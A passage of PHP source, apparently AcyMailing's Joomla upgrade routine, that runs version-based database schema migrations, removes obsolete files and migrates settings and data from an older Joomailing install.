				`name` VARCHAR( 250 ) NOT NULL ,
				`ordering` SMALLINT UNSIGNED NULL ,
				`regex` VARCHAR( 250 ) NOT NULL ,
				`executed_on` TEXT NOT NULL ,
				`action_message` TEXT NOT NULL ,
				`action_user` TEXT NOT NULL ,
				`published` TINYINT UNSIGNED NOT NULL
				)');
			$this->updateQuery("UPDATE `#__acymailing_mail` SET `body` = CONCAT(`body`,'<p>Subscription : {user:subscription}</p>') WHERE type = 'notification' AND `alias` IN ( 'notification_unsuball','notification_refuse','notification_unsub')");
			$this->updateQuery("REPLACE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('auto_bounce','0')");
		}

		if(version_compare($this->fromVersion, '3.0.1', '<')){
			$this->updateQuery('ALTER TABLE `#__acymailing_mail` ADD `filter` TEXT NULL');

			$this->updateQuery("ALTER TABLE `#__acymailing_subscriber` CHANGE `userid` `userid` INT UNSIGNED NOT NULL DEFAULT '0'");
		}

		if(version_compare($this->fromVersion, '3.5.1', '<')){
			if(file_exists(ACYMAILING_FRONT.'sef_ext.php')) acymailing_deleteFile(ACYMAILING_FRONT.'sef_ext.php');

			$this->updateQuery("ALTER TABLE `#__acymailing_queue` ADD `paramqueue` VARCHAR( 250 ) NULL ");

			if(!ACYMAILING_J16){
				$this->updateQuery("DELETE FROM `#__plugins` WHERE folder = 'acymailing' AND element LIKE 'tagvm%'");
			}else{
				$this->updateQuery("DELETE FROM `#__extensions` WHERE folder = 'acymailing' AND element LIKE 'tagvm%'");
			}
		}

		if(version_compare($this->fromVersion, '3.6.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_rules` CHANGE `regex` `regex` TEXT NOT NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_stats` ADD `bouncedetails` TEXT NULL");
		}

		if(version_compare($this->fromVersion, '3.7.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_userstats` ADD `ip` VARCHAR( 100 ) NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_urlclick` ADD `ip` VARCHAR( 100 ) NULL");
		}

		if(version_compare($this->fromVersion, '3.8.1', '<')){
			$this->updateQuery("UPDATE #__acymailing_mail SET subject = CONCAT(subject,' ','{mainreport}') WHERE type = 'notification' AND alias = 'report' AND subject NOT LIKE '%mainreport%' LIMIT 1");
		}

		if(version_compare($this->fromVersion, '3.8.2', '<')){
			$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('optimize_listsub',0),('optimize_stats',0),('optimize_list',0),('optimize_mail',0),('optimize_userstats',0),('optimize_urlclick',0),('optimize_history',0),('optimize_template',0),('optimize_queue',0),('optimize_subscriber',0) ");
		}

		$file = ACYMAILING_FRONT.'views'.DS.'newsletter'.DS.'metadata.xml';
		if(file_exists($file)) acymailing_deleteFile($file);

		$file = ACYMAILING_BACK.'admin.acymailing.php';
		if(file_exists($file)) acymailing_deleteFile($file);

		if(version_compare($this->fromVersion, '4.0.0', '<')){

			$this->db->setQuery("SELECT params,id FROM #__modules WHERE module = 'mod_acymailing'");
			$allModules = $this->db->loadObjectList();

			foreach($allModules as $oneMod){
				$newParams = preg_replace('#fieldsize=.*#i', 'fieldsize=80%', $oneMod->params);
				$newParams = preg_replace('#"fieldsize":"[^"]*"#i', '"fieldsize":"80%"', $newParams);
				$this->updateQuery("UPDATE #__modules SET params = ".$this->db->Quote($newParams)." WHERE id = ".intval($oneMod->id));
			}

			$this->db->setQuery("SELECT options,fieldid FROM #__acymailing_fields WHERE type IN ('phone','text','date','file') AND options LIKE '%size%'");
			$allFields = $this->db->loadObjectList();

			foreach($allFields as $oneField){
				$options = unserialize($oneField->options);
				$options['size'] = intval($options['size'] * 5);
				$this->updateQuery("UPDATE #__acymailing_fields SET options = ".$this->db->Quote(serialize($options))." WHERE fieldid = ".intval($oneField->fieldid));
			}
		}

		if(is_dir(ACYMAILING_BACK.'inc'.DS.'openflash')){
			acymailing_deleteFolder(ACYMAILING_BACK.'inc'.DS.'openflash');
		}
		if(is_dir(ACYMAILING_FRONT.'inc'.DS.'openflash')){
			acymailing_deleteFolder(ACYMAILING_FRONT.'inc'.DS.'openflash');
		}

		if(version_compare($this->fromVersion, '4.2.0', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `thumb` VARCHAR( 250 ) NULL , ADD `readmore` VARCHAR( 250 ) NULL ");

			$this->db->setQuery("SELECT tempid, description FROM #__acymailing_template WHERE `thumb` IS NULL");
			$allTemplates = $this->db->loadObjectList();
			foreach($allTemplates as $oneTemplate){
				if(preg_match('#<img[^>]*src="([^"]*)"[^>]*>#Ui', $oneTemplate->description, $onethumb)){
					$this->updateQuery('UPDATE #__acymailing_template SET `description` = '.$this->db->Quote(str_replace($onethumb[0], '', $oneTemplate->description)).', `thumb` = '.$this->db->Quote($onethumb[1]).' WHERE tempid = '.$oneTemplate->tempid);
				}
			}

			$this->updateQuery("ALTER TABLE `#__acymailing_subscriber` ADD `confirmed_date` INT UNSIGNED NOT NULL DEFAULT '0', ADD `confirmed_ip` VARCHAR(100) NULL , ADD `lastopen_date` INT UNSIGNED NOT NULL DEFAULT '0', ADD `lastclick_date` INT UNSIGNED NOT NULL DEFAULT '0'");
			$this->updateQuery('UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_history as hist ON sub.subid = hist.subid AND hist.action = "confirmed" SET sub.confirmed_date = hist.date, sub.confirmed_ip = hist.ip WHERE sub.confirmed_date = 0');
			$this->updateQuery('UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_userstats as stats ON sub.subid = stats.subid SET sub.lastopen_date = stats.opendate WHERE sub.lastopen_date = 0');
			$this->updateQuery('UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_urlclick as url ON sub.subid = url.subid SET sub.lastclick_date = url.date WHERE sub.lastclick_date = 0');
			$this->updateQuery('ALTER TABLE `#__acymailing_list` CHANGE `ordering` `ordering` SMALLINT UNSIGNED NULL DEFAULT \'0\'');
			$this->updateQuery('ALTER TABLE `#__acymailing_template` CHANGE `ordering` `ordering` SMALLINT UNSIGNED NULL DEFAULT \'0\'');

			$templateClass = acymailing_get('class.template');
			for($i = 1; $i <= 10; $i++){
				$templateClass->createTemplateFile($i);
			}
		}

		if(version_compare($this->fromVersion, '4.3.0', '<')){
			if(!ACYMAILING_J16){
				$queryReplace = "UPDATE `#__plugins` SET `name` = REPLACE(`name`,'(beta)','') WHERE `element` = 'acyeditor'";
			}else{
				$queryReplace = "UPDATE `#__extensions` SET `name` = REPLACE(`name`,'(beta)','') WHERE `element` = 'acyeditor'";
			}
			$this->updateQuery($queryReplace);

			if(!ACYMAILING_J16){
				$existingEntry = acymailing_loadResult("SELECT `params` FROM #__plugins WHERE `element` = 'urltracker' LIMIT 1");
				$pattern = '#trackingsystem=(.*)#i';
			}else{
				$existingEntry = acymailing_loadResult("SELECT `params` FROM #__extensions WHERE `element` = 'urltracker' LIMIT 1");
				$pattern = '#"trackingsystem":"([^"]*)"#i';
			}
			$trackingMode = 'acymailing';
			if(preg_match($pattern, $existingEntry, $autosubResult)){
				$trackingMode = $autosubResult[1];
			}
			if($trackingMode == 'googleacy') $trackingMode = 'acymailing,google';
			$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('trackingsystem',".$this->db->Quote($trackingMode).")");
		}

		if(version_compare($this->fromVersion, '4.3.1', '<')){
			$query = 'CREATE TABLE IF NOT EXISTS `#__acymailing_geolocation` (`geolocation_id` int unsigned NOT NULL AUTO_INCREMENT, `geolocation_subid` int unsigned NOT NULL DEFAULT \'0\',';
			$query .= ' `geolocation_type` varchar(255) NOT NULL DEFAULT \'subscription\', `geolocation_ip` varchar(255) NOT NULL DEFAULT \'\', `geolocation_created` int unsigned NOT NULL DEFAULT \'0\',';
			$query .= ' `geolocation_latitude` decimal(9,6) NOT NULL DEFAULT \'0.000000\', `geolocation_longitude` decimal(9,6) NOT NULL DEFAULT \'0.000000\', `geolocation_postal_code` varchar(255) NOT NULL DEFAULT \'\',';
			$query .= ' `geolocation_country` varchar(255) NOT NULL DEFAULT \'\', `geolocation_country_code` varchar(255) NOT NULL DEFAULT \'\', `geolocation_state` varchar(255) NOT NULL DEFAULT \'\',';
			$query .= ' `geolocation_state_code` varchar(255) NOT NULL DEFAULT \'\', `geolocation_city` varchar(255) NOT NULL DEFAULT \'\',';
			$query .= ' PRIMARY KEY (`geolocation_id`), KEY `geolocation_type` (`geolocation_subid`, `geolocation_type`)) ;';
			$this->updateQuery($query);
		}

		if(version_compare($this->fromVersion, '4.3.3', '<')){
			$this->updateQuery('UPDATE #__acymailing_list SET access_manage = CONCAT(",",access_manage) WHERE access_manage NOT IN ("all","none","")');
		}

		if(version_compare($this->fromVersion, '4.4.2', '<')){
			$this->updateQuery('ALTER TABLE `#__acymailing_fields` ADD `frontlisting` TINYINT( 3 ) UNSIGNED NOT NULL DEFAULT \'0\', ADD `frontjoomlaprofile` TINYINT( 3 ) UNSIGNED NOT NULL DEFAULT \'0\', ADD `frontjoomlaregistration` TINYINT( 3 ) UNSIGNED NOT NULL DEFAULT \'0\', ADD `joomlaprofile` TINYINT( 3 ) UNSIGNED NOT NULL DEFAULT \'0\'');
			$this->updateQuery('UPDATE `#__acymailing_fields` SET `frontlisting`  = `listing`');

			if(!ACYMAILING_J16){
				$existingEntry = acymailing_loadResult("SELECT `params` FROM #__plugins WHERE `element` = 'regacymailing' LIMIT 1");
				$pattern = '#customfields=(.*)#i';
			}else{
				$existingEntry = acymailing_loadResult("SELECT `params` FROM #__extensions WHERE `element` = 'regacymailing' LIMIT 1");
				$pattern = '#"customfields":"([^"]*)"#i';
			}
			if(preg_match($pattern, $existingEntry, $pregResult)){
				$existingEntries = explode(',', $pregResult[1]);
				foreach($existingEntries as $fieldToDisplay){
					$this->updateQuery("UPDATE `#__acymailing_fields` SET frontjoomlaregistration=1 WHERE namekey=".$this->db->Quote(trim($fieldToDisplay)));
				}
			}

			$this->updateQuery("ALTER TABLE `#__acymailing_list` ADD `startrule` VARCHAR(50) NOT NULL DEFAULT '0'");

			if(is_dir(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'kcfinder')){
				acymailing_deleteFolder(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'kcfinder');
			}
			if(is_dir(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'kcfinder')){
				acymailing_deleteFolder(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'kcfinder');
			}
			if(is_dir(ACYMAILING_BACK.'extensions'.DS.'plg_editors_acyeditor'.DS.'acyeditor'.DS.'kcfinder')){
				acymailing_deleteFolder(ACYMAILING_BACK.'extensions'.DS.'plg_editors_acyeditor'.DS.'acyeditor'.DS.'kcfinder');
			}
		}

		if(version_compare($this->fromVersion, '4.5.2', '<')){
			$this->db->setQuery("SELECT * FROM #__acymailing_config WHERE namekey='acl_newsletters_manage'");
			$res = $this->db->query();
			if(!empty($res)){
				$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('acl_newsletters_lists', 'all'), ('acl_newsletters_attachments', 'all'), ('acl_newsletters_sender_informations', 'all'), ('acl_newsletters_meta_data','all')");
			}

			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `access` VARCHAR( 250 ) NOT NULL DEFAULT 'all'");
			$this->updateQuery("ALTER TABLE `#__acymailing_subscriber` ADD `lastopen_ip` VARCHAR( 100 ) NULL, ADD `lastsent_date` INT UNSIGNED NOT NULL DEFAULT '0'");

			$this->updateQuery("UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_userstats as stats ON sub.subid = stats.subid SET sub.lastopen_ip = stats.ip WHERE stats.ip != ''");

			$this->updateQuery("UPDATE #__acymailing_subscriber as sub JOIN #__acymailing_userstats as stats ON sub.subid = stats.subid SET sub.lastsent_date = stats.senddate");

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` MODIFY `type` ENUM('news','autonews','followup','unsub','welcome','notification','joomlanotification') NOT NULL DEFAULT 'news'");
		}

		if(version_compare($this->fromVersion, '4.6.3', '<')){
			$file = ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor_j30.xml';
			if(file_exists($file)) acymailing_deleteFile($file);

			$file = ACYMAILING_ROOT.'plugins'.DS.'system'.DS.'acymailingclassmail'.DS.'acymailingclassmail_j30.xml';
			if(file_exists($file)) acymailing_deleteFile($file);

			if($config->get('mailer_method') == 'smtp_com'){
				$newConfig = new stdClass();
				$newConfig->mailer_method = 'smtp';
				$newConfig->smtp_host = 'retail.smtp.com';
				$newConfig->smtp_port = '2525';
				$newConfig->smtp_username = $config->get('smtp_com_username');
				$newConfig->smtp_password = $config->get('smtp_com_password');
				$newConfig->smtp_auth = 1;
				$newConfig->smtp_keepalive = 1;
				$newConfig->smtp_secured = '';
				$config->save($newConfig);
			}

			$this->updateQuery("ALTER TABLE `#__acymailing_userstats` ADD `browser` VARCHAR( 255 ) DEFAULT NULL, ADD `browser_version` TINYINT UNSIGNED DEFAULT NULL, ADD `is_mobile` TINYINT UNSIGNED DEFAULT NULL, ADD `mobile_os` VARCHAR( 255 ) DEFAULT NULL, ADD `user_agent` VARCHAR( 255 ) DEFAULT NULL");

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `language` VARCHAR( 50 ) NOT NULL DEFAULT ''");
		}

		if(version_compare($this->fromVersion, '4.7.3', '<')){
			try{
				$this->db->setQuery("SELECT * FROM #__acymailing_config WHERE namekey='acl_newsletters_manage'");
				$res = $this->db->query();
				if(!empty($res)){
					$this->updateQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ('acl_newsletters_abtesting', 'all')");
				}
			}catch(Exception $e){
				$res = null;
			}
			if($res === null) acymailing_enqueueMessage(isset($e) ? $e->getMessage() : substr(strip_tags($this->db->getErrorMsg()), 0, 200).'...', 'error');

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `abtesting` VARCHAR( 250 ) DEFAULT NULL");

			$this->updateQuery("ALTER TABLE `#__acymailing_subscriber` ADD `source` VARCHAR( 250 ) NOT NULL DEFAULT ''");
		}

		if(version_compare($this->fromVersion, '4.8.2', '<')){
			$tagsFile = JPATH_SITE.DS.'plugins'.DS.'acymailing'.DS.'tagcontent'.DS.'tagcontenttags.xml';
			if(file_exists($tagsFile)) acymailing_deleteFile($tagsFile);

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `thumb` VARCHAR( 250 ) DEFAULT NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `summary` TEXT NOT NULL DEFAULT ''");
			$this->updateQuery("ALTER TABLE `#__acymailing_template` ADD `category` VARCHAR( 250 ) NOT NULL DEFAULT ''");
			$this->updateQuery("ALTER TABLE `#__acymailing_list` ADD `category` VARCHAR( 250 ) NOT NULL DEFAULT ''");
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `access` VARCHAR( 250 ) NOT NULL DEFAULT 'all'");
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `fieldcat` INT( 11 ) NOT NULL DEFAULT '0'");

			$this->updateQuery("UPDATE `#__acymailing_template` SET body = REPLACE(body,'<tbody>','<tbody class=\"acyeditor_sortable\">') WHERE body LIKE '%acyeditor_%' ");
		}

		if(version_compare($this->fromVersion, '4.9.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_geolocation` ADD KEY `geolocation_ip_created` (`geolocation_ip`, `geolocation_created`)");
		}

		if(version_compare($this->fromVersion, '4.9.3', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_userstats` ADD `bouncerule` VARCHAR( 255 ) NULL");
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `listingfilter` TINYINT NULL DEFAULT NULL ");
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `frontlistingfilter` TINYINT NULL DEFAULT NULL ");
		}

		if(version_compare($this->fromVersion, '4.9.4', '<')){
			$this->updateQuery("UPDATE #__acymailing_mail SET body = REPLACE(REPLACE(body, 'newsletter-4/top.png', 'newsletter-4/images/top.png'), 'newsletter-4/bottom.png', 'newsletter-4/images/bottom.png')");
		}

		if(version_compare($this->fromVersion, '5.0.0', '<')){
			$this->db->setQuery('SELECT mailid, attach FROM #__acymailing_mail WHERE attach IS NOT NULL');
			$mails = $this->db->loadObjectList();
			if(!empty($mails)){
				$query = 'INSERT INTO #__acymailing_mail (`mailid`,`attach`) VALUES ';
				$folderPath = acymailing_getFilesFolder();
				foreach($mails as $oneMail){
					$attachments = unserialize($oneMail->attach);
					foreach($attachments as &$oneAttach){
						if(strpos($oneAttach->filename, $folderPath) === false) $oneAttach->filename = $folderPath.'/'.$oneAttach->filename;
					}
					$query .= '('.$oneMail->mailid.','.$this->db->Quote(serialize($attachments)).'),';
				}
				$query = rtrim($query, ',');
				$query .= ' ON DUPLICATE KEY UPDATE `attach` = VALUES(`attach`)';
				$this->updateQuery($query);
			}
			$newConfig = new stdClass();
			$newConfig->css_backend = '';
			$config->save($newConfig);
		}

		if(version_compare($this->fromVersion, '5.0.1', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_fields` ADD `frontform` TINYINT NULL DEFAULT 1");
			$this->updateQuery("UPDATE `#__acymailing_fields` SET frontform = backend");
		}

		if(version_compare($this->fromVersion, '5.1.0', '<')){
			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_action` (`action_id` int unsigned NOT NULL AUTO_INCREMENT,`name` varchar(255) DEFAULT NULL,`description` text,`frequency` int unsigned NOT NULL,
	`nextdate` int unsigned NOT NULL,`server` varchar(255) NOT NULL,`port` varchar(50) NOT NULL,`connection_method` varchar(10) NOT NULL DEFAULT '0',`secure_method` varchar(10) NOT NULL DEFAULT '0',
	`self_signed` tinyint NOT NULL DEFAULT '0',`username` varchar(255) NOT NULL,`password` varchar(50) NOT NULL,`userid` int unsigned DEFAULT NULL,`conditions` text,`actions` text,`report` text,
	`published` tinyint NOT NULL DEFAULT '0',`ordering` smallint unsigned NULL DEFAULT '0',PRIMARY KEY (`action_id`)) ;");

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `favicon` text");
		}

		if(version_compare($this->fromVersion, '5.2.0', '<')){
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` MODIFY `type` ENUM('news','autonews','followup','unsub','welcome','notification','joomlanotification','action') NOT NULL DEFAULT 'news'");

			$this->updateQuery("ALTER TABLE `#__acymailing_mail` ADD `bccaddresses` varchar(250) DEFAULT NULL");
			$managetext = JPluginHelper::getPlugin('acymailing', 'managetext');
			$managetextParams = new acyParameter($managetext->params);

			$possibleVars = array('', 2, 3);
			foreach($possibleVars as $oneSuffix){
				$bcc = $managetextParams->get('bccaddresses'.$oneSuffix);
				$mailids = trim(str_replace(array(',', ' '), ';', $managetextParams->get('bccmailids'.$oneSuffix)));
				if(empty($mailids) || empty($bcc)) continue;

				$emails = explode(';', $mailids);
				acymailing_arrayToInteger($emails);

				$this->updateQuery('UPDATE `#__acymailing_mail` SET bccaddresses = '.$this->db->quote($bcc).' WHERE mailid IN ('.implode(',', $emails).')');
			}

			$this->updateQuery('UPDATE `#__acymailing_rules` SET name = (CASE name WHEN "Action Required" THEN "ACY_RULE_ACTION"
																					 WHEN "Acknowledgement of receipt - in subject" THEN "ACY_RULE_ACKNOWLEDGE"
																					 WHEN "Feedback loop" THEN "ACY_RULE_LOOP"
																					 WHEN "Feedback loop - in body" THEN "ACY_RULE_LOOP_BODY"
																					 WHEN "Mailbox Full" THEN "ACY_RULE_FULL"
																					 WHEN "Blocked by Google Groups" THEN "ACY_RULE_GOOGLE"
																					 WHEN "Mailbox does not exist 1" THEN "ACY_RULE_EXIST1"
																					 WHEN "Message blocked by recipient filters" THEN "ACY_RULE_FILTERED"
																					 WHEN "Mailbox does not exist 2" THEN "ACY_RULE_EXIST2"
																					 WHEN "Domain does not exist" THEN "ACY_RULE_DOMAIN"
																					 WHEN "Temporary failures" THEN "ACY_RULE_TEMPORAR"
																					 WHEN "Failed Permanently" THEN "ACY_RULE_PERMANENT"
																					 WHEN "Acknowledgement of receipt - in body" THEN "ACY_RULE_ACKNOWLEDGE_BODY"
																					 WHEN "Final Rule" THEN "ACY_RULE_FINAL"
																					 ELSE name
																					 END)');

			$this->updateQuery("ALTER TABLE #__acymailing_geolocation ADD `geolocation_continent` varchar(255) NOT NULL DEFAULT '', ADD `geolocation_timezone` varchar(255) NOT NULL DEFAULT ''");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Asia' WHERE geolocation_country_code IN ('AF', 'AM', 'AZ', 'BH', 'BD', 'BT', 'BN', 'IO', 'KH', 'CN', 'CX', 'CC', 'CY', 'GE', 'HK', 'IN', 'ID', 'IR', 'IQ', 'IL', 'JP', 'JO', 'KZ', 'KP', 'KR', 'KW', 'KG', 'LA', 'LB', 'MO', 'MY', 'MV', 'MN', 'MM', 'NP', 'OM', 'PK', 'PS', 'PH', 'QA', 'SA', 'SG', 'LK', 'SY', 'TW', 'TJ', 'TH', 'TL', 'TR', 'TM', 'AE', 'UZ', 'VN', 'YE')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Africa' WHERE geolocation_country_code IN ('AO', 'BJ', 'DZ', 'BW', 'BF', 'BI', 'CM', 'CV', 'CF', 'TD', 'KM', 'CD', 'CG', 'CI', 'DJ', 'EG', 'GQ', 'ER', 'ET', 'GA', 'GM', 'GH', 'GN', 'GW', 'KE', 'LS', 'LR', 'LY', 'MG', 'MW', 'ML', 'MR', 'MU', 'YT', 'MA', 'MZ', 'NA', 'NE', 'NG', 'RE', 'RW', 'SH', 'ST', 'SN', 'SC', 'SL', 'SO', 'ZA', 'SD', 'SZ', 'TZ', 'TG', 'TN', 'UG', 'EH', 'ZM', 'ZW')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Europe' WHERE geolocation_country_code IN ('AX', 'AL', 'AT', 'AD', 'BY', 'BE', 'BA', 'BG', 'HR', 'CZ', 'DK', 'EE', 'FO', 'FI', 'FR', 'DE', 'GI', 'GR', 'GG', 'VA', 'HU', 'IS', 'IE', 'IM', 'IT', 'JE', 'LV', 'LI', 'LT', 'LU', 'MK', 'MT', 'MD', 'MC', 'ME', 'NL', 'NO', 'PL', 'PT', 'RO', 'RU', 'SM', 'RS', 'SK', 'SI', 'ES', 'SJ', 'SE', 'CH', 'UA', 'GB')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Oceania' WHERE geolocation_country_code IN ('AS', 'AU', 'CK', 'FJ', 'PF', 'GU', 'KI', 'MH', 'FM', 'NR', 'NC', 'NZ', 'NU', 'NF', 'MP', 'PW', 'PG', 'PN', 'WS', 'SB', 'TK', 'TO', 'TV', 'UM', 'VU', 'WF')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'North America' WHERE geolocation_country_code IN ('AI', 'AG', 'AW', 'BS', 'BB', 'BZ', 'BM', 'VG', 'CA', 'KY', 'CR', 'CU', 'DM', 'DO', 'SV', 'GL', 'GD', 'GP', 'GT', 'HT', 'HN', 'JM', 'MQ', 'MX', 'MS', 'AN', 'NI', 'PA', 'PR', 'BL', 'KN', 'LC', 'MF', 'PM', 'VC', 'TT', 'TC', 'US', 'VI')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'South America' WHERE geolocation_country_code IN ('AR', 'BO', 'BR', 'CL', 'CO', 'EC', 'FK', 'GF', 'GY', 'PY', 'PE', 'SR', 'UY', 'VE')");
			$this->updateQuery("UPDATE #__acymailing_geolocation SET geolocation_continent = 'Antartica' WHERE geolocation_country_code IN ('AQ', 'BV', 'TF', 'HM', 'GS')");

			if($config->get('captcha_enabled') == 1){
				$this->updateQuery('INSERT INTO `#__acymailing_config` (namekey, value) VALUES ("captcha_plugin", "acycaptcha") ON DUPLICATE KEY UPDATE value="acycaptcha"');
			}else{
				$this->updateQuery('INSERT INTO `#__acymailing_config` (namekey, value) VALUES ("captcha_plugin", "no") ON DUPLICATE KEY UPDATE value="no"');
			}
			try{
				$this->db->setQuery('SELECT tempid, stylesheet FROM #__acymailing_template');
				$res = $this->db->loadObjectList('tempid');
				foreach($res as $oneTmpl){
					$changedStyle = preg_replace('/(table *(,[^{}]*)?)({[^}]*font-family)/', '$1, td$3', $oneTmpl->stylesheet);
					$this->updatequery('UPDATE #__acymailing_template SET stylesheet = '.$this->db->Quote($changedStyle).' WHERE tempid = '.$oneTmpl->tempid);
				}
			}catch(Exception $e){
				$res = null;
			}
			if($res === null) acymailing_enqueueMessage(isset($e) ? $e->getMessage() : substr(strip_tags($this->db->getErrorMsg()), 0, 200).'...', 'error');
		}

		if(version_compare($this->fromVersion, '5.5.0', '<')){
			$this->updateQuery("ALTER TABLE #__acymailing_action ADD `delete_wrong_emails` tinyint NOT NULL DEFAULT 0");
			$this->updateQuery("ALTER TABLE #__acymailing_action ADD `senderfrom` tinyint NOT NULL DEFAULT 0");
			$this->updateQuery("ALTER TABLE #__acymailing_action ADD `senderto` tinyint NOT NULL DEFAULT 0");
		}

		if(version_compare($this->fromVersion, '5.6.0', '<')){
			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_forward` (`subid` int unsigned NOT NULL,`mailid` mediumint unsigned NOT NULL, `date` int unsigned NOT NULL,
			`ip` varchar(50) DEFAULT NULL, `nbforwarded` int unsigned NOT NULL, PRIMARY KEY (`subid`,`mailid`)) ;");

			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_tag` (`tagid` smallint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(250) NOT NULL,
			`userid` int unsigned DEFAULT NULL,PRIMARY KEY (`tagid`),KEY `useridindex` (`userid`)) ;");

			$this->updateQuery("CREATE TABLE IF NOT EXISTS `#__acymailing_tagmail` (`tagid` smallint unsigned NOT NULL,	`mailid` mediumint unsigned NOT NULL,
			PRIMARY KEY (`tagid`,`mailid`)) ;");
		}

		if(version_compare($this->fromVersion, '5.6.5', '<')) {
			$this->updateQuery("ALTER TABLE `#__acymailing_mail` MODIFY subject text");
		}

		if(version_compare($this->fromVersion, '5.7.1', '<')) {
			$daycron = $config->get('cron_plugins_next', 0);

			$this->updateQuery("ALTER TABLE `#__acymailing_filter` ADD `daycron` int unsigned");
			$this->db->setQuery('UPDATE #__acymailing_filter SET `daycron` = '.intval($daycron).' WHERE `trigger` LIKE "%daycron%"');
			$this->db->query();
		}

		if(version_compare($this->fromVersion, '5.8.0', '<')) {
			$this->updateQuery("ALTER TABLE #__acymailing_mail ADD `lastupdate` int unsigned DEFAULT NULL");
			$this->updateQuery("ALTER TABLE #__acymailing_mail ADD `userlastupdate` int unsigned DEFAULT NULL");
		}
	}

	function updateQuery($query){
		try{
			$this->db->setQuery($query);
			$res = $this->db->query();
		}catch(Exception $e){
			$res = null;
		}
		if($res === null) acymailing_enqueueMessage(isset($e) ? $e->getMessage() : substr(strip_tags($this->db->getErrorMsg()), 0, 200).'...', 'error');
	}

	function updateJoomailing(){
		$result = acymailing_loadResult("SHOW TABLES LIKE '".$this->db->getPrefix()."joomailing_config'");

		if(empty($result)) return true;


		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) SELECT `namekey`, REPLACE(`value`,'com_joomailing','com_acymailing') FROM `#__joomailing_config`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_list` (`name`, `description`, `ordering`, `listid`, `published`, `userid`, `alias`, `color`, `visible`, `welmailid`, `unsubmailid`, `type`) SELECT `name`, `description`, `ordering`, `listid`, `published`, `userid`, `alias`, `color`, `visible`, `welmailid`, `unsubmailid`, `type` FROM `#__joomailing_list`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_listcampaign` (`campaignid`, `listid`) SELECT `campaignid`, `listid` FROM `#__joomailing_listcampaign`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_listmail` (`listid`, `mailid`) SELECT `listid`, `mailid` FROM `#__joomailing_listmail`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_listsub` (`listid`, `subid`, `subdate`, `unsubdate`, `status`) SELECT `listid`, `subid`, `subdate`, `unsubdate`, `status` FROM `#__joomailing_listsub`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_mail` (`mailid`, `subject`, `body`, `altbody`, `published`, `senddate`, `created`, `fromname`, `fromemail`, `replyname`, `replyemail`, `type`, `visible`, `userid`, `alias`, `attach`, `html`, `tempid`, `key`, `frequency`, `params`) SELECT `mailid`, `subject`, REPLACE(`body`,'joomailing','acymailing'), REPLACE(`altbody`,'joomailing','acymailing'), `published`, `senddate`, `created`, `fromname`, `fromemail`, `replyname`, `replyemail`, `type`, `visible`, `userid`, `alias`, REPLACE(`attach`,'com_joomailing','com_acymailing'), `html`, `tempid`, `key`, `frequency`, REPLACE(`params`,'com_joomailing','com_acymailing') FROM `#__joomailing_mail`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_queue` (`senddate`, `subid`, `mailid`, `priority`, `try`) SELECT `senddate`, `subid`, `mailid`, `priority`, `try` FROM `#__joomailing_queue`");
		$this->db->query();
